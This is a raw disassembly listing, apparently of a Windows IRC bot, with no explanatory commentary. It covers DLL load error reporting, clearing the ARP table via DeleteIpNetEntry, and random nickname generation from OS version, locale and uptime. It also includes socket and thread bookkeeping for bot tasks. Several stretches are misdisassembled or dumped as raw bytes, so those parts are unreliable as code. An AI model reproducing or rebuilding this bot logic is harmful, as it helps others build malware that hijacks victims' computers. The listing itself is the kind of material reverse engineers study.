		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A911:				; CODE XREF: sub_40A729+1BAj
		cmp	dword_4D12F8, esi
		jz	short loc_40A945
		push	dword_4D12FC
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A945:				; CODE XREF: sub_40A729+1EEj
		cmp	dword_4D1300, esi
		jz	short loc_40A979
		push	dword_4D1304
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A979:				; CODE XREF: sub_40A729+222j
		cmp	dword_4D1308, esi
		jz	short loc_40A9AD
		push	dword_4D130C
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A9AD:				; CODE XREF: sub_40A729+256j
		cmp	dword_4D1310, esi
		jz	short loc_40A9E1
		push	dword_4D1314
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A9E1:				; CODE XREF: sub_40A729+28Aj
		cmp	dword_4D1318, esi
		jz	short loc_40AA15
		push	dword_4D131C
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40AA15:				; CODE XREF: sub_40A729+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_433F80
		push	eax
		call	sub_41BF36
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AA42
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_40AA42:				; CODE XREF: sub_40A729+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A6
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A729	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA54	proc near		; CODE XREF: sub_4018A1+4Fp
					; .nsp0:004076F8p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4D1230	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AA7C
		push	[esp+arg_0]
		call	dword_4D1274	; gethostbyname
		test	eax, eax
		jnz	short loc_40AA75
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AA75:				; CODE XREF: sub_40AA54+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AA7C:				; CODE XREF: sub_40AA54+Dj
		retn
sub_40AA54	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA7D	proc near		; CODE XREF: sub_4018A1+D6p
		mov	ecx, dword_4D110C
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AA8B
		call	ecx ; dword_4D110C

locret_40AA8B:				; CODE XREF: sub_40AA7D+Aj
		retn
sub_40AA7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA8C	proc near		; CODE XREF: .nsp0:loc_403F58p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4D126C	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AB52
		sub	ecx, 32h
		jz	loc_40AB4B
		sub	ecx, 48h
		jz	short loc_40AAEC
		sub	ecx, 6Eh
		jz	short loc_40AAE5


loc_40AACE:				; CODE XREF: sub_40AA8C+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_434194
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	short loc_40AB2C
; ---------------------------------------------------------------------------


loc_40AAE5:				; CODE XREF: sub_40AA8C+40j
		push	offset unk_434170
		jmp	short loc_40AB1E
; ---------------------------------------------------------------------------


loc_40AAEC:				; CODE XREF: sub_40AA8C+3Bj
		push	[ebp+var_8]
		call	sub_41BBCB
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BC40
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AB19
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4D126C	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40AB52
		jmp	short loc_40AACE
; ---------------------------------------------------------------------------


loc_40AB19:				; CODE XREF: sub_40AA8C+79j
		push	offset unk_434140


loc_40AB1E:				; CODE XREF: sub_40AA8C+5Ej
					; sub_40AA8C+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_40AB2C:				; CODE XREF: sub_40AA8C+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4157A6
		pop	ecx


loc_40AB3C:				; CODE XREF: sub_40AA8C+C8j
					; sub_40AA8C+DCj
		push	esi
		call	sub_41B961
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AB4B:				; CODE XREF: sub_40AA8C+32j
		push	offset unk_434110
		jmp	short loc_40AB1E
; ---------------------------------------------------------------------------


loc_40AB52:				; CODE XREF: sub_40AA8C+29j
					; sub_40AA8C+89j
		cmp	[esi], edi
		jbe	short loc_40AB3C
		lea	ebx, [esi+4]


loc_40AB59:				; CODE XREF: sub_40AA8C+DAj
		push	ebx
		call	dword_4D1268	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AB59
		jmp	short loc_40AB3C
sub_40AA8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB6A	proc near		; CODE XREF: .nsp0:00403D12p
					; .nsp0:00403E4Ap ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D1194	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4D1320
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41BF36
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AB6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ABC3	proc near		; CODE XREF: sub_413107+24Cp
					; sub_413107+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40ABEC
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40ABDF:				; CODE XREF: sub_40ABC3+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40ABDF
		pop	edi
		jmp	short loc_40ABF0
; ---------------------------------------------------------------------------


loc_40ABEC:				; CODE XREF: sub_40ABC3+Aj
		mov	edx, [esp+4+arg_0]


loc_40ABF0:				; CODE XREF: sub_40ABC3+27j
		test	esi, esi
		pop	esi
		jz	short loc_40ABFA
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40ABFA:				; CODE XREF: sub_40ABC3+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40ABC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC10	proc near		; CODE XREF: sub_40AFA5+49p
					; DATA XREF: .nsp0:off_4341E0o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		call	sub_41BF92
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	off_434248[edx*4]
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41C030
		xor	esi, esi
		add	esp, 14h
		cmp	dword_429098, esi
		jle	short loc_40AC77


loc_40AC51:				; CODE XREF: sub_40AC10+65j
		call	sub_41BF92
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_432140
		push	1Ch
		push	edi
		call	sub_41C030
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AC51


loc_40AC77:				; CODE XREF: sub_40AC10+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AC10	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	aO1 ; "o1"
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_41C030
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ACD5


loc_40ACAF:				; CODE XREF: .nsp0:0040ACD3j
		call	sub_41BF92
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_432140
		push	1Ch
		push	edi
		call	sub_41C030
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACAF


loc_40ACD5:				; CODE XREF: .nsp0:0040ACADj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		pop	ecx
		call	sub_41BF92
		push	3
		mov	ebx, [esp+14h]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40AD1D


loc_40AD07:				; CODE XREF: .nsp0:0040AD1Bj
		call	sub_41BF92
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40AD07


loc_40AD1D:				; CODE XREF: .nsp0:0040AD05j
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset aPc_0 ; "PC"
		push	eax
		push	esi
		call	near ptr 0B40000h
		jle	short near ptr loc_40AD65+1
		mov	esi, 437EA005h
		add	[edx+41h], ch
		pop	ecx
		push	1
		pop	edx


loc_40AD63:				; CODE XREF: .nsp0:0040AD6Ej
		cmp	eax, ecx


loc_40AD65:				; CODE XREF: .nsp0:0040AD55j
		jnz	short loc_40AD6A
		mov	[ebp-4], edx


loc_40AD6A:				; CODE XREF: .nsp0:loc_40AD65j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AD63
		push	61h
		pop	ecx


loc_40AD73:				; CODE XREF: .nsp0:0040AD7Ej
		cmp	eax, ecx
		jnz	short loc_40AD7A
		mov	[ebp-4], edx


loc_40AD7A:				; CODE XREF: .nsp0:0040AD75j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AD73
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C030
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40ADBF


loc_40AD99:				; CODE XREF: .nsp0:0040ADBDj
		call	sub_41BF92
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_432140
		push	1Ch
		push	edi
		call	sub_41C030
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD99


loc_40ADBF:				; CODE XREF: .nsp0:0040AD97j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_4270C4	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_3	; "%s|"
		push	1Ch
		push	edi
		call	sub_41C030
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AE34


loc_40AE0E:				; CODE XREF: .nsp0:0040AE32j
		call	sub_41BF92
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_432140
		push	1Ch
		push	edi
		call	sub_41C030
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE0E


loc_40AE34:				; CODE XREF: .nsp0:0040AE0Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_443398
		mov	dword ptr [ebp-94h], 94h
		call	dword_4270C8	; GetVersionExA
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AEBE
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AE9E
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AE8E
		mov	esi, offset a95	; "95"


loc_40AE8E:				; CODE XREF: .nsp0:0040AE87j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AEFA
		mov	esi, offset aNt_0 ; "NT"
		jmp	short loc_40AEFA
; ---------------------------------------------------------------------------


loc_40AE9E:				; CODE XREF: .nsp0:0040AE7Ej
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AEAE
		mov	esi, offset a98	; "98"
		jmp	short loc_40AEFA
; ---------------------------------------------------------------------------


loc_40AEAE:				; CODE XREF: .nsp0:0040AEA5j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AEF5
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_40AEFA
; ---------------------------------------------------------------------------


loc_40AEBE:				; CODE XREF: .nsp0:0040AE75j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AEF5
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AED7
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40AEFA
; ---------------------------------------------------------------------------


loc_40AED7:				; CODE XREF: .nsp0:0040AECEj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AEE7
		mov	esi, offset aXp	; "XP"
		jmp	short loc_40AEFA
; ---------------------------------------------------------------------------


loc_40AEE7:				; CODE XREF: .nsp0:0040AEDEj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_40AEFA


loc_40AEF5:				; CODE XREF: .nsp0:0040AEB5j
					; .nsp0:0040AEC5j
		mov	esi, offset a??? ; "???"


loc_40AEFA:				; CODE XREF: .nsp0:0040AE95j
					; .nsp0:0040AE9Cj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset aS_4	; "[%s]|"
		push	1Ch
		push	edi
		call	sub_41C030
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AF3E


loc_40AF18:				; CODE XREF: .nsp0:0040AF3Cj
		call	sub_41BF92
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_432140
		push	1Ch
		push	edi
		call	sub_41C030
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AF18


loc_40AF3E:				; CODE XREF: .nsp0:0040AF16j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF44	proc near		; CODE XREF: sub_40AFA5+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		call	dword_4270A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		cmp	eax, 64h
		jbe	short loc_40AF72
		push	eax
		push	offset aD_2	; "[%d]"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C030
		add	esp, 10h


loc_40AF72:				; CODE XREF: sub_40AF44+18j
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B890
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40AFA0
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C880
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BCA0
		add	esp, 18h


loc_40AFA0:				; CODE XREF: sub_40AF44+3Bj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AF44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFA5	proc near		; CODE XREF: sub_4018A1+7Fp
					; sub_401A09+43p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_4341DC


loc_40AFB1:				; CODE XREF: sub_40AFA5+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AFCC
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C710
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AFD6
; ---------------------------------------------------------------------------


loc_40AFCC:				; CODE XREF: sub_40AFA5+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AFD6:				; CODE XREF: sub_40AFA5+25j
		test	eax, eax
		jnz	short loc_40AFE8
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_434254
		jl	short loc_40AFB1
		jmp	short loc_40AFF6
; ---------------------------------------------------------------------------


loc_40AFE8:				; CODE XREF: sub_40AFA5+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_4341E0[eax*4]
		pop	ecx


loc_40AFF6:				; CODE XREF: sub_40AFA5+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B009
		push	[ebp+arg_0]
		call	sub_40AF44
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B009:				; CODE XREF: sub_40AFA5+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AFA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B00E	proc near		; CODE XREF: .nsp0:0040229Cp
					; .nsp0:004024F2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_443F20


loc_40B016:				; CODE XREF: sub_40B00E+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B02A
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D0F20
		jl	short loc_40B016
		jmp	short loc_40B075
; ---------------------------------------------------------------------------


loc_40B02A:				; CODE XREF: sub_40B00E+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_443F20[esi]
		push	eax
		call	sub_41BCA0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_444120[esi], eax
		and	dword_444124[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_444128[esi], 0
		mov	dword_44412C[esi], eax
		and	byte_444138[esi], 0
		pop	esi


loc_40B075:				; CODE XREF: sub_40B00E+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B00E	endp

; ---------------------------------------------------------------------------
byte_40B079	db 55h,	8Bh, 0ECh	; DATA XREF: .nsp0:00404456o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 0E8006A14h, 734F38h, 555E5F30h, 0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 437FC8h, 0FF0C75FFh, 0E7E80875h
		dd 83FFFFE8h, 0FF3314C4h, 443F20BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 2E5C68FFh, 0E8500043h, 10E1Ah, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 9FE80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 20FE8147h, 7C004D0Fh, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B149	proc near		; CODE XREF: .nsp0:004095EAp
					; sub_40B1D7+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B1D1
		cmp	esi, 400h
		jge	short loc_40B1D1
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_444134[esi]
		lea	edi, dword_444134[esi]
		call	near ptr 0B40000h
		cmp	[edi], bx
		jz	short loc_40B181
		push	1
		pop	ebp


loc_40B181:				; CODE XREF: sub_40B149+33j
		mov	[edi], ebx
		lea	edi, dword_444128[esi]
		mov	dword_444120[esi], ebx
		mov	dword_444124[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B1A2
		push	eax
		call	sub_41A252
		pop	ecx


loc_40B1A2:				; CODE XREF: sub_40B149+50j
		mov	[edi], ebx
		lea	edi, dword_44412C[esi]
		mov	byte ptr dword_443F20[esi], bl
		mov	byte_444138[esi], bl
		push	dword ptr [edi]
		call	dword_4D1288	; closesocket
		lea	esi, dword_444130[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4D1288	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40B1D1:				; CODE XREF: sub_40B149+Dj
					; sub_40B149+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B149	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B1D7	proc near		; CODE XREF: sub_401135+18p
					; .nsp0:00404A3Ap ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_443F20


loc_40B1E3:				; CODE XREF: sub_40B1D7+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B1F4
		push	edi
		call	sub_40B149
		test	eax, eax
		pop	ecx
		jz	short loc_40B1F4
		inc	ebx


loc_40B1F4:				; CODE XREF: sub_40B1D7+Fj
					; sub_40B1D7+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4D0F20
		jl	short loc_40B1E3
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B1D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B209	proc near		; CODE XREF: .nsp0:00405C70p
					; .nsp0:00405DBFp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_444124


loc_40B21D:				; CODE XREF: sub_40B209+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B23F
		test	edi, edi
		jle	short loc_40B231
		cmp	[esi], edi
		jz	short loc_40B231
		cmp	ebx, edi
		jnz	short loc_40B23F


loc_40B231:				; CODE XREF: sub_40B209+1Ej
					; sub_40B209+22j
		push	ebx
		call	sub_40B149
		test	eax, eax
		pop	ecx
		jz	short loc_40B23F
		inc	[ebp+var_4]


loc_40B23F:				; CODE XREF: sub_40B209+1Aj
					; sub_40B209+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4D1124
		jl	short loc_40B21D
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B209	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B256	proc near		; CODE XREF: .nsp0:0040246Bp
					; .nsp0:0040381Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_444120


loc_40B25D:				; CODE XREF: sub_40B256+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B266
		inc	eax


loc_40B266:				; CODE XREF: sub_40B256+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4D1120
		jl	short loc_40B25D
		retn
sub_40B256	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B275	proc near		; CODE XREF: .nsp0:00403EFBp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_444120


loc_40B27F:				; CODE XREF: sub_40B275+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B298
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4D1120
		jl	short loc_40B27F
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B298:				; CODE XREF: sub_40B275+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B29C	proc near		; CODE XREF: .nsp0:00402B55p
					; .nsp0:00402D5Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B2B5
		push	[ebp+arg_1C]
		call	sub_41BE29
		pop	ecx


loc_40B2B5:				; CODE XREF: sub_40B29C+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B209
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B2E1
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41BF36
		add	esp, 14h
		jmp	short loc_40B2FB
; ---------------------------------------------------------------------------


loc_40B2E1:				; CODE XREF: sub_40B29C+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41BF36
		add	esp, 10h


loc_40B2FB:				; CODE XREF: sub_40B29C+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B31B
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_40B31B:				; CODE XREF: sub_40B29C+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4157A6
		pop	ecx
		leave
		retn
sub_40B29C	endp


